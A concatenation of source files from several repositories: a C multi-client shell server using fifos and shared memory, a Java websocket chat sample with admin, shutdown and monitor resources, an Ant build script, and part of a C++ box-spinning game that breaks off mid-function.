myfifo="./.myfifo"; // char myfifos[50]; // char * myfifo=myfifos; // sprintf(myfifo,"/home/ekko/fifodata/myfifo-%d%d",me,towho); mkfifo(myfifo, 0666); fdfifo = open(myfifo, O_WRONLY); // printf("%d\n",fdfifo); dup2(fdfifo,1); unlink(myfifo); // printf("[%d][%d]%d\n",fdtoindex(me),towho-1,client_pipe[fdtoindex(me)][towho-1]); // dup2(fd_com[1],1); } // // printf("--%d\n",towho); // // printf("%d,%d\n",fd_com[0],fd_com[1]); } } if(!err){ int status; int pid=fork(); if(pid==0){ //child process if(next_count!=0) { //write to pipe. dup2(fd[next_cmd][1],1); } if(fd[cmd_no][0]!=0 && !self) { //get the pipe input. close(fd[cmd_no][1]); dup2(fd[cmd_no][0],0); } if (from_other){ // read the fifo // printf("OK\n"); // printf("from other\n"); // printf("---intdex:(%d,%d),readfd:%d\n",from_who-1,me,client_pipe[(from_who-1)*30+me]); dup2(client_pipe[(from_who-1)*30+me],0); client_pipe[(from_who-1)*30+me]=0; // dup2(client_pipe[from_who-1][fdtoindex(me)],0); } if (execvp(args[0],args) == -1){ dup2(2,1); printf("Unknown command: [%s].\n", args[0]); _exit(EXIT_FAILURE); // If child fails } }else{ //parent process if (from_other){ // close the pipe // printf("close OK\n"); close(client_pipe[(from_who-1)*30+me]); // close(client_pipe[from_who-1][fdtoindex(me)]); // client_pipe[from_who-1][fdtoindex(me)]=0; } close(fd[cmd_no][1]); waitpid(pid,&status,0); if(next_count==0){ if(tofiles){ close(fileno(fp)); } else if (to_other && success_to){ //close the write fifo // printf("close:%d\n",fd_com[1]); // close(fd_com[1]); close(fdfifo); } } // printf("status:%d\n",status); if(status==256 && !first) { if(next_count>0 && !inuse){ close(fd[next_cmd][0]); close(fd[next_cmd][1]); fd[next_cmd][0]=0; fd[next_cmd][1]=0; } int fakefd[2]; pipe(fakefd); close(fakefd[0]); fd[cmd_no][1]=fakefd[1]; //fake fd --cmd_no; _break=1; } else{ close(fd[cmd_no][0]); fd[cmd_no][0]=0; fd[cmd_no][1]=0; } // wait(NULL); } } } //detatch shared memory shmdt(clients); shmdt(total_cli); shmdt(message); shmdt(client_pipe); } static int pipein_num(int* pipein){ int i=0; for(int j=0;j<1024;j++){ if(pipein[j]==0) break; ++i; } return i; } static int tofile(char *args[]){ int ret=0; for(int i=0;i<512;i++){ if(args[i]==NULL) break; if(strcmp(args[i],">") == 0){ ret=1; filename=args[i+1]; args[i]=NULL; break; } } return ret; } int newid(void){ int ret=-1; key_t key; int shm_id; clientdata* clients; /* get the ID of shared memory */ key=1; shm_id = shmget(key,sizeof(clientdata)*30 , 0666 | IPC_CREAT); clients =shmat(shm_id, NULL, 0); for(int i=0;i<30;i++){ if(clients[i].port==0) { ret=i; break; } } shmdt(clients); return ret; } void addtotable(int id,int pid){ key_t key,key2; int shm_id,shm_id2; clientdata* clients; /* get the ID of shared memory */ key=1; key2=2; shm_id = shmget(key,sizeof(clientdata)*30 , 0666 | IPC_CREAT); clients =shmat(shm_id, NULL, 0); int* total_cli; key2=2; shm_id2 = shmget(key2,sizeof(int), 0666 | IPC_CREAT); total_cli =shmat(shm_id2, NULL, 0); //initial clients[id].pid=pid; strcpy(clients[id].name,"(no name)"); strcpy(clients[id].ip,"CGILAB"); clients[id].port=511; *total_cli=*total_cli+1; key_t key3; int shm_id3; char* message; key3=333; shm_id3 = shmget(key3,10000, 0666 | IPC_CREAT); message =shmat(shm_id3, NULL, 0); //broadcast login int cut=0; int i=0; sprintf(message,"*** User '%s' entered from %s/%d. ***",clients[id].name,clients[id].ip,clients[id].port); while(cut!=*total_cli){ if(clients[i].pid!=0){ kill(clients[i].pid,SIGUSR1); cut++; } i++; } shmdt(clients); shmdt(total_cli); shmdt(message); } void delfromtable(int id){ key_t key,key2; int shm_id,shm_id2; clientdata* clients; /* get the ID of shared memory */ key=1; shm_id = shmget(key,sizeof(clientdata)*30 , 0666 | IPC_CREAT); clients =shmat(shm_id, NULL, 0); int* total_cli; key2=2; shm_id2 = shmget(key2,sizeof(int), 0666 | IPC_CREAT); total_cli =shmat(shm_id2, NULL, 0); key_t key3; int shm_id3; char* message; key3=333; shm_id3 = shmget(key3,10000, 0666 | IPC_CREAT); message =shmat(shm_id3, NULL, 0); //broadcast logout int cut=0; int i=0; sprintf(message,"*** User '%s' left. ***",clients[id].name); while(cut!=*total_cli){ if(clients[i].pid!=0){ kill(clients[i].pid,SIGUSR1); cut++; } i++; } key_t key4; int shm_id4; int *client_pipe; key4=44; shm_id4 = shmget(key4,sizeof(int)*(30*30+2), 0666 | IPC_CREAT); client_pipe =shmat(shm_id4, NULL, 0); for (int i = 0; i < 30; ++i) { client_pipe[i*30+id]=0; } //initial clients[id].pid=0; bzero(clients[id].name,20); bzero(clients[id].ip,15); clients[id].port=0; *total_cli=*total_cli-1; shmdt(clients); shmdt(total_cli); shmdt(message); shmdt(client_pipe); } void clearall(void){ key_t key,key2; int shm_id,shm_id2; clientdata* clients; /* get the ID of shared memory */ key=1; shm_id = shmget(key,sizeof(clientdata)*30 , 0666 | IPC_CREAT); clients =shmat(shm_id, NULL, 0); int* total_cli; key2=2; shm_id2 = shmget(key2,sizeof(int), 0666 | IPC_CREAT); total_cli =shmat(shm_id2, NULL, 0); key_t key4; int shm_id4; int *client_pipe; key4=44; shm_id4 = shmget(key4,sizeof(int)*(30*30+2), 0666 | IPC_CREAT); client_pipe =shmat(shm_id4, NULL, 0); for (int i = 0; i < 30; ++i) { for (int j = 0; j < 30; ++j) { client_pipe[i*30+j]=0; } } //initial for(int i=0;i<30;i++){ clients[i].pid=0; bzero(clients[i].name,20); bzero(clients[i].ip,15); clients[i].port=0; } *total_cli=0; shmdt(clients); shmdt(total_cli); shmdt(client_pipe); } void cmdnonr(char* cmd){ int i=0; while(cmd[i]!='\0'){ if(cmd[i]=='\n' || cmd[i]=='\r'){ cmd[i]='\0'; i--; } i++; } } int target(char* cmd){ //it return the target id. char num[4]; for (int i=0;i<4;i++){ // initialize num[i]=' '; } int i=0; if(cmd!=NULL){ digi=cmd+1; if(isspace(digi[0])) i=1; else{ while(isdigit(*digi)){ i++; digi++; } if(i>0){ strncpy(num,digi-i,i); digi=digi-i; for(int j=0;j<i;j++){ digi[j]=' '; } i=atoi(num); } } } return i; } int fromwho(void){ int ret=-1; for(int i=0;i<512;i++){ if(args[i]==NULL) break; int j=0; while(args[i][j]!='\0'){ if(args[i][j]=='<') { // printf("%c\n",args[i][j]); ret=target(args[i]); args[i]=NULL; // printf("--%d\n",target(args[i])); return ret; // printf("%d",target(args[i])); break; }else j++; } } return ret; }
43f2f5ee9959546a5416eb61e369b64494ac533a
[ "C" ]
2
C
blue9995566/NP_hw2
fdc24d4728dec139f260f15f3608a7bebbd56a26
575cd0c78ee32414e35a4ea168345fe1e2e23adf
refs/heads/master
<file_sep>package net.ion.nchat.aradon; import java.util.Timer; import java.util.TimerTask; import net.ion.radon.core.Aradon; import net.ion.radon.core.let.AbstractServerResource; import org.restlet.resource.Delete; import org.restlet.resource.Get; public class ShutdownFrontLet extends AbstractServerResource { @Get public String getMyName(){ return "Hello " + getInnerRequest().getFormParameter().get("name"); } @Delete public String suicide(){ long timeoutMili = Math.max(getInnerRequest().getParameterAsInteger("timeout"), 1) * 1000L ; final Aradon self = getAradon() ; new Timer().schedule(new TimerTask(){ @Override public void run() { self.stop() ; System.exit(0) ; } }, timeoutMili) ; return timeoutMili + "(ms) shutdown.." ; } } <file_sep>package net.ion.nchat.aradon; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; import net.ion.framework.util.StringUtil; import net.ion.radon.core.filter.IRadonFilter; import net.ion.radon.core.security.ChallengeAuthenticator; import org.restlet.Request; import org.restlet.Response; import org.restlet.security.MapVerifier; import org.restlet.security.Verifier; public class AdminPageFilter extends ChallengeAuthenticator { private AdminPageFilter(String startwithIp) { super("admin zone", new MyVerifier(startwithIp, "kalce", "bleujin")); } public AdminPageFilter(String startwithIp, String id, String pwd) { super("admin zone", new MyVerifier(startwithIp, id, pwd)); } public static IRadonFilter create() { return new AdminPageFilter("61.250.201."); } public static IRadonFilter test(String startwithIp) { return new AdminPageFilter(startwithIp); } } class MyVerifier implements Verifier { private String startWithIp; private Verifier admin; public MyVerifier(String startwithIp, String adminId, String adminPwd) { this.startWithIp = startwithIp; ConcurrentMap<String, char[]> users = new ConcurrentHashMap<String, char[]>(); users.put(adminId, adminPwd.toCharArray()); this.admin = new MapVerifier(users); } public int verify(Request request, Response response) { String clientIp = request.getClientInfo().getAddress(); if (StringUtil.isBlank(clientIp) || clientIp.startsWith(startWithIp)) { return 4; } else { return admin.verify(request, response); } } } <file_sep>Aradon sample ============ aradon websocket sample 1. download 2. cd ./alone 3. set value at java_home in aradon.bat 4. execute aradon.bat 5. browse http://ipaddress:9000/rest/client/1234/jin http://ipaddress:9000/rest/client/1234/hero http://ipaddress:9000/rest/event/1234 <file_sep>package net.ion.nchat.context; import java.io.Serializable; import net.ion.craken.AbstractEntry; import net.ion.craken.EntryKey; import net.ion.craken.simple.EmanonKey; public class SerializedChatMessage extends AbstractEntry<SerializedChatMessage> implements Serializable { private static final long serialVersionUID = 6153003775018649621L; private EntryKey key ; private NormalMessagePacket msgPacket ; private SerializedChatMessage(String msgid) { this.key = EmanonKey.create(msgid) ; } ; @Override public EntryKey key() { return key; } public SerializedChatMessage chat(NormalMessagePacket msgPacket) { this.msgPacket = msgPacket.toRoot() ; return this ; } public String sender() { if (msgPacket == null) return "" ; return msgPacket.getString("head.sender"); } public String topic() { return msgPacket.getString("head.topicId"); } public String getFullString() { return msgPacket.getFullString(); } } <file_sep>package net.ion.nchat.aradon; import java.util.List; import java.util.Map; import net.ion.framework.util.ListUtil; import net.ion.framework.util.MapUtil; import net.ion.nchat.async.SampleChatHandler; import net.ion.nradon.WebSocketConnection; import net.ion.radon.core.let.DefaultLet; import net.ion.radon.core.let.WSPathService; import org.restlet.representation.Representation; public class SampleMonitorLet extends DefaultLet { @Override protected Representation myGet() throws Exception { WSPathService wspath = getSectionService().getAradon().getChildService("async").wspath("chat") ; SampleChatHandler handler = (SampleChatHandler)wspath.websocketResource(); List<WebSocketConnection> conns = handler.getAllConnectors(); List<Map<String, ?>> data = ListUtil.newList() ; for (WebSocketConnection conn : conns) { Map<String, Object> cinfo = MapUtil.newMap() ; cinfo.put(WSPathService.VAR_SESSIONID, conn.data(WSPathService.VAR_SESSIONID)) ; cinfo.put("datas", conn.httpRequest().data() ) ; cinfo.put("remoteAddress", conn.httpRequest().remoteAddress()) ; cinfo.put("timestamp", conn.httpRequest().timestamp()) ; cinfo.put("headers", conn.httpRequest().allHeaders()) ; cinfo.put("cookies", conn.httpRequest().cookies()) ; data.add(cinfo) ; } return toRepresentation(data); } } <file_sep>package net.ion.nchat.async; import java.util.Collections; import java.util.List; import org.infinispan.notifications.Listener; import org.infinispan.notifications.cachelistener.annotation.CacheEntryModified; import org.infinispan.notifications.cachelistener.event.CacheEntryModifiedEvent; import net.ion.craken.Craken; import net.ion.craken.EntryKey; import net.ion.craken.LegContainer; import net.ion.framework.util.Debug; import net.ion.framework.util.ListUtil; import net.ion.framework.util.ObjectId; import net.ion.nchat.context.ChatCraken; import net.ion.nchat.context.IMessagePacket; import net.ion.nchat.context.NormalMessagePacket; import net.ion.nchat.context.SerializedChatMessage; import net.ion.nradon.AbstractWebSocketResource; import net.ion.nradon.Radon; import net.ion.nradon.WebSocketConnection; import net.ion.nradon.handler.event.ServerEventHandler; import net.ion.nradon.handler.event.ServerEvent.EventType; public class SampleChatHandler extends AbstractWebSocketResource implements ServerEventHandler { private List<WebSocketConnection> conns = ListUtil.newList(); private LegContainer<SerializedChatMessage> container; public void onClose(WebSocketConnection conn) throws Exception { conns.remove(conn); NormalMessagePacket message = NormalMessagePacket.create().inner("body").put("message", conn.data("userId") + " logout"); chat(conn, message); } public void onMessage(WebSocketConnection conn, String msg) throws Throwable { NormalMessagePacket message = NormalMessagePacket.load(msg) ; chat(conn, message); } public void onMessage(WebSocketConnection conn, byte[] arg1) throws Throwable { } public void onOpen(WebSocketConnection conn) throws Exception { conns.add(conn); NormalMessagePacket message = NormalMessagePacket.create().inner("body").put("message", conn.data("userId") + " login"); chat(conn, message); } public void onPong(WebSocketConnection conn, String msg) throws Throwable { } private void chat(WebSocketConnection sender, NormalMessagePacket packet) { String msgId = new ObjectId().toString(); container.newInstance(msgId).chat(packet.toRoot().inner("head").put("sender", sender.data("userId")).put("topicId", sender.data("topicId")) ).save(); } void broadCastToRoom(SerializedChatMessage msg) { for (WebSocketConnection conn : conns) { if (conn.data("userId").equals(msg.sender())) continue; if (conn.data("topicId").equals(msg.topic())) { conn.send(msg.getFullString()); } } } public void onEvent(EventType eventtype, Radon radon) { if (eventtype == EventType.START) { Craken craken = radon.getConfig().aradon().getServiceContext().getAttributeObject(ChatCraken.class.getCanonicalName(), ChatCraken.class).getCraken(); this.container = craken.defineLeg(SerializedChatMessage.class); this.container.addListener(new ChatListener(this)); } } @Listener public class ChatListener { private SampleChatHandler handler; public ChatListener(SampleChatHandler handler) { this.handler = handler; } @CacheEntryModified public void cacheModified(CacheEntryModifiedEvent<EntryKey, SerializedChatMessage> e) { if (e.isPre()) return; handler.broadCastToRoom(e.getValue()); } } public List<WebSocketConnection> getAllConnectors() { return Collections.unmodifiableList(conns) ; } } <file_sep>package net.ion.nchat.util; import java.io.File; import java.io.IOException; import net.ion.radon.core.IService; import net.ion.radon.core.config.PlugInsConfiguration; import net.ion.radon.core.context.OnOrderEventObject; public class FileFinder implements OnOrderEventObject { private String pluginId; public FileFinder(String pluginId) { this.pluginId = pluginId; } public File findFile(IService service, String relativePath) { try { PlugInsConfiguration pluginConfig = service.getAradon().getGlobalConfig().plugin(); File foundFile = null ; try { foundFile = pluginConfig.findPlugInFile(pluginId, "/" + relativePath); } catch(IllegalArgumentException notfound){ foundFile = new File(relativePath); } if (!foundFile.exists()) throw new IllegalStateException(foundFile.getCanonicalPath() + " not exists"); return foundFile; } catch (IOException ex) { throw new IllegalStateException(ex); } } @Override public int order() { return -1; } @Override public void onEvent(AradonEvent event, IService service) { // TODO Auto-generated method stub } } <file_sep><?xml version="1.0"?> <project name="Jar Publish" default="publish" basedir="."> <property name="baseDir" value="." /> <property name="binDir" value="./bin" /> <property name="publishDir" value="./publish" /> <property name="libDir" value="./libs/" /> <tstamp> <format property="TODAY_MY" pattern="MM/dd/yyyy hh:mm"/> </tstamp> <property name="version.number" value="0"/> <property name="build.number" value="3"/> <target name="apache_fat"> <delete file="${libDir}/apache_fat.jar"></delete> <fatjar.build output="${libDir}/apache_fat.jar"> <fatjar.manifest/> <fatjar.jarsource file="${libDir}\apache\commons-beanutils-1.8.0.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\commons-codec-1.4.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\commons-fileupload-1.2.1.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\ecs-1.4.2.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\commons-collections-3.2.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\commons-configuration-1.6.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\commons-io-1.4.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\commons-lang-2.4.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\commons-logging-1.1.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\javolution-5.5.1.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\json-2-RELEASE65.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\log4j-1.2.16.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\netsf-json-lib-2.2.2-jdk15.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\servlet-api-2.5-6.1.14.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\slf4j-api-1.5.6.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\slf4j-jdk14-1.5.10.jar" relpath=""/> <fatjar.jarsource file="${libDir}\apache\slf4j-log4j12-1.5.8.jar" relpath=""/> </fatjar.build> </target> <target name="aradon_fat"> <delete file="${libDir}/aradon_fat_0.5.jar"></delete> <fatjar.build output="${libDir}/aradon_fat_0.5.jar"> <fatjar.manifest/> <fatjar.jarsource file="${libDir}\aradon\aradon_0.5.jar" relpath=""/> <fatjar.jarsource file="${libDir}\aradon\iframework_2.2.jar" relpath=""/> <fatjar.jarsource file="${libDir}\aradon\jetty_fat.jar" relpath=""/> <fatjar.jarsource file="${libDir}\aradon\rest_fat.jar" relpath=""/> </fatjar.build> </target> <target name="test_websocket" depends="apache_fat, aradon_fat" > <property name="test.reports" value="./resource/report" /> <path id="test.classpath"> <pathelement location="bin" /> <pathelement path="libs/apache/junit.jar" /> <fileset dir="libs"> <include name="*.jar"/> </fileset> </path> <junit printsummary="on" haltonfailure="on" fork="true"> <classpath refid="test.classpath" /> <formatter type="xml" /> <test name="net.ion.websocket.TestAllWebSocket" todir="resource"/> </junit> <!-- <junit fork="yes" printsummary="no" haltonfailure="no"> <batchtest fork="yes" todir="${test.reports}" > <fileset dir="${classes}"> <include name="**/*Test.class" /> </fileset> </batchtest> <formatter type="xml" /> <classpath refid="test.classpath" /> </junit> <junitreport todir="${test.reports}"> <fileset dir="${test.reports}"> <include name="TEST-*.xml" /> </fileset> <report todir="${test.reports}" /> </junitreport> --> </target> <target name="publish" depends="test_websocket"> <property name="manifest.main.class" value="net.ion.websocket.server.ServerNodeRunner" /> <property name="manifest.classpath" value="lib/apache_fat.jar lib/aradon_fat_0.5.jar lib/netty-3.2.5.Final.jar"/> <!-- delete file="${libDir}/websocket_${version.number}.${build.number}.jar" /--> <jar destfile="publish/websocket_${version.number}.${build.number}.jar"> <manifest> <attribute name="Manifest-Version" value="1.0" /> <attribute name="Built-By" value="${user.name}" /> <attribute name="Created-By" value="${user.name}" /> <attribute name="Main-Class" value="${manifest.main.class}" /> <attribute name="Built-Date" value="${TODAY_MY}" /> <attribute name="Class-Path" value="${manifest.classpath}" /> <section name="common"> <attribute name="Specification-Title" value="websocket" /> <attribute name="Specification-Version" value="${version.number}.${build.number}" /> <attribute name="Specification-Vendor" value="i-on" /> <attribute name="Specification-Dev" value="bleujin,minato" /> </section> </manifest> <fileset dir="${binDir}/" includes="net/**" /> </jar> </target> </project><file_sep>package net.ion.nchat.context; import java.io.File; import java.io.IOException; import net.ion.craken.Craken; import net.ion.nchat.util.FileFinder; import net.ion.radon.core.IService; import net.ion.radon.core.context.OnOrderEventObject; import org.infinispan.configuration.cache.CacheMode; import org.infinispan.configuration.cache.ConfigurationBuilder; import org.infinispan.eviction.EvictionStrategy; public class ChatCraken implements OnOrderEventObject { private final String clusterName; private final String configPath; private Craken craken; public ChatCraken(String clusterName, String configPath) { this.clusterName = clusterName; this.configPath = configPath; } public final static ChatCraken test() { return new ChatCraken("my-cluster", "resource/config/jgroups-udp.xml"); } @Override public void onEvent(AradonEvent ae, IService service) { if (ae == AradonEvent.START) { try { this.craken = Craken.create(); FileFinder ff = service.getServiceContext().getAttributeObject(FileFinder.class.getCanonicalName(), FileFinder.class) ; File configFile = ff.findFile(service, configPath); craken.globalConfig().transport().clusterName(clusterName).addProperty("configurationFile", configFile.getCanonicalPath()); craken.preDefineConfig(SerializedChatMessage.class, new ConfigurationBuilder().clustering().cacheMode(CacheMode.REPL_ASYNC).clustering().eviction().maxEntries(10000).strategy(EvictionStrategy.LIRS).build()); craken.start(); } catch (IOException ex) { throw new IllegalStateException(ex); } } else if (ae == AradonEvent.STOP) { } } public Craken getCraken() { if (craken == null) throw new IllegalStateException("not initialized craken"); return craken; } @Override public int order() { return 0; // first } }
96490cf51cebfeb6b3144ec8680f084822618127
[ "Markdown", "Java", "Ant Build System" ]
9
Java
bleujin/websocketPlug
cfbb0c51e5ceaddf741ada009da7c841546dc4d5
9da43861e0ee791ed065133226c729638925b6e8
refs/heads/master
<repo_name>kaioshin20/imgUploadAPI<file_sep>/handlers/cloudinary.js const cloudinary = require('cloudinary') cloudinary.config({ cloud_name: 'kaioshin', api_key: process.env.CLOUDINARY_API_KEY, api_secret: process.env.CLOUDINARY_API_SECRET })
c89a3b34dd2aeeb4ff00cfc30ab410cfbad696b5
[ "JavaScript" ]
1
JavaScript
kaioshin20/imgUploadAPI
c3de84bad4e19ac5ebe19b5df757d1fe9894c617
441102e7666da00f14d0f845ce2892d57921f246
refs/heads/master
<file_sep>#include "Box.h" #include "Sprite.h" #include "Data.h" #include "BoxManager.h" #include "Player.h" #include "Collision.h" #include "D3dDevice.h" CBox::CBox() : m_bLife(true), m_fScale(1.0f), m_fRotation(0.0f), m_fSpinSpeed(0.0f), m_Vector(), m_fMoveAcc(g_Data->m_fMoveAcc), m_fSpinAcc(g_Data->m_fSpinAcc), m_fFixedSpinSpeed(0.0f) { for(int i=0; i<3; i++) m_pAfterImage[i] = NULL ; } CBox::~CBox() { for(int i=0; i<3; i++) { if(m_pAfterImage[i]!=NULL) delete m_pAfterImage[i] ; } } void CBox::Init() { m_pSprite = new CSprite ; m_pSprite->Init("Resource/Image/Box.png") ; for(int i=0; i<3; i++) { m_pAfterImage[i] = new CSprite ; m_pAfterImage[i]->Init("Resource/Image/Box.png") ; m_pAfterImage[i]->SetAlpha(255-(63*(i+1))) ; } m_bLife = true ; m_fScale = 1.0f ; m_fRotation = 0.0f ; m_fSpinSpeed = 0.0f ; m_Vector = m_Vector * 0.0f ; } void CBox::InitAfterImagePosition() { m_pSprite->SetPosition(m_fX, m_fY) ; for(int i=0; i<3; i++) m_pAfterImage[i]->SetPosition(m_fX, m_fY) ; } void CBox::Update() { Spin() ; Move() ; SpinColor() ; } void CBox::SetScale(float fScale) { m_fScale = fScale ; m_pSprite->SetScale(m_fScale, m_fScale) ; for(int i=0; i<3; i++) m_pAfterImage[i]->SetScale(m_fScale, m_fScale) ; } void CBox::SetSpinSpeed(float fSpinSpeed) { m_fSpinSpeed = fSpinSpeed ; } void CBox::SetVector(Vector vec) { m_Vector = vec ; } void CBox::SetFixedSpinSpeed(float fFixedSpinSpeed) { m_fFixedSpinSpeed = fFixedSpinSpeed ; } const float CBox::GetScale() const { return m_fScale ; } const float CBox::GetSpinSpeed() const { return m_fSpinSpeed ; } const float CBox::GetSpinSpeedAbs() const { if(m_fSpinSpeed<0.0f) return -m_fSpinSpeed ; return m_fSpinSpeed ; } const Vector CBox::GetVector() const { return m_Vector ; } const bool CBox::BeLife() const { return m_bLife ; } void CBox::SpinAccelerate(float fSpinAcc) { bool bSign1, bSign2 ; if(m_fSpinSpeed==0.0f || fSpinAcc==0.0f) { m_bLife = false ; } else { if(m_fSpinSpeed>0.0f) bSign1 = true ; else if(m_fSpinSpeed<0.0f) bSign1 = false ; if(fSpinAcc>0.0f) bSign2 = true ; else if(fSpinAcc<0.0f) bSign2 = false ; if(bSign1!=bSign2) m_bLife = false ; else m_fSpinSpeed = fSpinAcc ; } } void CBox::Render() { AfterImage() ; for(int i=2; i>=0; i--) m_pAfterImage[i]->Render() ; m_pSprite->SetPosition(m_fX, m_fY) ; m_pSprite->Render() ; } void CBox::Spin() { float fSpinSpeed = m_fSpinAcc * g_D3dDevice->GetMoveTime() ; float temp = m_fSpinSpeed < 0.0f ? -m_fSpinSpeed : m_fSpinSpeed ; float temp2 = m_fFixedSpinSpeed < 0.0f ? -m_fFixedSpinSpeed : m_fFixedSpinSpeed ; if(temp - fSpinSpeed>temp2) { if(m_fSpinSpeed>0.0f) m_fSpinSpeed -= fSpinSpeed ; else if(m_fSpinSpeed<0.0f) m_fSpinSpeed += fSpinSpeed ; } else { m_fSpinSpeed = m_fFixedSpinSpeed ; } if(m_fSpinSpeed>m_fScale * 15.0f) m_fSpinSpeed = m_fScale * 15.0f ; else if(m_fSpinSpeed<m_fScale * -15.0f) m_fSpinSpeed = m_fScale * -15.0f ; m_fRotation += m_fSpinSpeed ; m_pSprite->SetAngle(m_fRotation) ; } void CBox::Move() { float fAcceleration = m_fMoveAcc * g_D3dDevice->GetMoveTime() ; CCollision col ; float angle ; float PlayerX = g_Player->GetPositionX() ; float PlayerY = g_Player->GetPositionY() ; angle = col.GetAngle(m_fX, m_fY, PlayerX, PlayerY) ; angle = angle * D3DX_PI / 180.0f ; m_Vector.x += cos(angle) * m_fMoveAcc ; m_Vector.y += sin(angle) * m_fMoveAcc ; float fBoxForce = g_Data->m_fBoxForceMax ; float fForce = sqrt((m_Vector.x * m_Vector.x) + (m_Vector.y * m_Vector.y)) ; if(fForce>fBoxForce) { fForce = fBoxForce / fForce ; m_Vector = m_Vector * fForce ; } m_fX += m_Vector.x ; m_fY += m_Vector.y ; } void CBox::SpinColor() { // 회전 방향에 따른 색 int r, g, b ; float percentage ; r = g = b = 255 ; if(m_fSpinSpeed>=0.0f) { r -= 92 ; g -= 200 ; b -= 255 ; percentage = m_fSpinSpeed / (m_fScale * 15.0f) ; } else { r -= 255 ; g -= 96 ; b -= 96 ; percentage = m_fSpinSpeed / (m_fScale * -15.0f) ; } r = 255 - (int)(r * percentage) ; g = 255 - (int)(g * percentage) ; b = 255 - (int)(b * percentage) ; m_pSprite->SetRGB(r, g, b) ; for(int i=0; i<3; i++) m_pAfterImage[i]->SetRGB(r, g, b) ; } void CBox::AfterImage() { D3DXVECTOR3 position ; float angle ; for(int i=2; i>=1; i--) { position = m_pAfterImage[i-1]->GetPosition() ; m_pAfterImage[i]->SetPosition(position.x, position.y) ; m_pAfterImage[i]->SetAngle(m_fRotation) ; } position = m_pSprite->GetPosition() ; m_pAfterImage[0]->SetPosition(position.x, position.y) ; m_pAfterImage[0]->SetAngle(m_fRotation) ; }<file_sep>#pragma once class CNumberUI ; class CSprite ; class CTimeLimitUI { private : float m_fX, m_fY ; float m_fTime ; int m_nNum ; CNumberUI *m_pNumber[5] ; CSprite *m_pDot ; public : CTimeLimitUI() ; ~CTimeLimitUI() ; void Init() ; void SetPosition(float fX, float fY) ; const bool Timeout() const ; void Update() ; void Render() ; private : void SetTime() ; } ;<file_sep>#pragma once #include "Singleton.h" class CData : public Singleton<CData> { public : float m_fModulus ; float m_fMass ; float m_fMoveAcc, m_fSpinAcc ; bool m_bScore, m_bTime ; int m_nMaxScore ; float m_fTimeLimit ; float m_fBoxForceMax ; float m_bBoxCollision ; public : CData() ; ~CData() ; void Init() ; private : bool LoadData() ; bool CreateDataFile() ; } ; #define g_Data CData::GetInstance()<file_sep>#pragma once #include "Scene.h" class CSprite ; class CScoreUI ; class CTimeLimitUI ; class SampleScene : public Scene { private : bool m_bScore, m_bTime ; bool m_bGameover, m_bGameclear ; float m_fSpriteTime ; CSprite *m_pBackground ; CSprite *m_pGameover, *m_pGameclear ; CScoreUI *m_pScore ; CTimeLimitUI *m_pTimeLimit ; public : static Scene* scene() ; SampleScene() ; virtual ~SampleScene() ; void Init() ; void Destroy() ; void Update(float dt) ; void Render() ; private : void GameOver() ; } ;<file_sep>#pragma once #include "Objects.h" #include "Vector.h" class CBox : public CObjects { protected : bool m_bLife ; float m_fScale ; float m_fRotation, m_fSpinSpeed ; Vector m_Vector ; float m_fMoveAcc, m_fSpinAcc ; // CSprite *m_pAfterImage[3] ; private : float m_fFixedSpinSpeed ; public : CBox() ; virtual ~CBox() ; virtual void Init() ; void InitAfterImagePosition() ; virtual void Update() ; void SetScale(float fScale) ; void SetSpinSpeed(float fSpinSpeed) ; void SetVector(Vector vec) ; // void SetFixedSpinSpeed(float fFixedSpinSpeed) ; const float GetScale() const ; const float GetSpinSpeed() const ; const float GetSpinSpeedAbs() const ; const Vector GetVector() const ; const bool BeLife() const ; void SpinAccelerate(float fSpinAcc) ; void Render() ; protected : virtual void Spin() ; virtual void Move() ; void SpinColor() ; void AfterImage() ; } ;<file_sep>#include "Player.h" #include "Sprite.h" #include "Keyboard.h" #include "D3dDevice.h" CPlayer::CPlayer() : m_nScore(0), m_bGameover(false) { m_fSpinSpeed = 0.0f ; } CPlayer::~CPlayer() { } void CPlayer::Init() { m_pSprite = new CSprite ; m_pSprite->Init("Resource/Image/Box.png") ; for(int i=0; i<3; i++) { m_pAfterImage[i] = new CSprite ; m_pAfterImage[i]->Init("Resource/Image/Box.png") ; m_pAfterImage[i]->SetAlpha(255-(63*(i+1))) ; } m_bLife = true ; m_bGameover = false ; m_fScale = 1.0f ; m_fRotation = 0.0f ; m_fSpinSpeed = 0.0f ; m_Vector = m_Vector * 0.0f ; m_nScore = 0 ; } void CPlayer::EnergyAbsorption() { m_nScore += 50 ; m_fScale += 0.001f ; m_pSprite->SetScale(m_fScale, m_fScale) ; } void CPlayer::Gameover() { m_bGameover = true ; } const int CPlayer::GetScore() const { return m_nScore ; } const bool CPlayer::BeGameover() const { return m_bGameover ; } void CPlayer::Move() { float fAcceleration = m_fMoveAcc * g_D3dDevice->GetMoveTime() ; float fDeceleration = (m_fMoveAcc/2.0f) * g_D3dDevice->GetMoveTime() ; if(g_Keyboard->IsButtonDown(DIK_UP)) m_Vector.y += fAcceleration ; else if(g_Keyboard->IsButtonDown(DIK_DOWN)) m_Vector.y -= fAcceleration ; else { float temp = m_Vector.y < 0.0f ? -m_Vector.y : m_Vector.y ; if(temp - fDeceleration>0.0f) { if(m_Vector.y>0.0f) m_Vector.y -= fDeceleration ; else m_Vector.y += fDeceleration ; } else { m_Vector.y = 0.0f ; } } if(g_Keyboard->IsButtonDown(DIK_LEFT)) m_Vector.x -= fAcceleration ; else if(g_Keyboard->IsButtonDown(DIK_RIGHT)) m_Vector.x += fAcceleration ; else { float temp = m_Vector.x < 0.0f ? -m_Vector.x : m_Vector.x ; if(temp - fDeceleration>0.0f) { if(m_Vector.x>0.0f) m_Vector.x -= 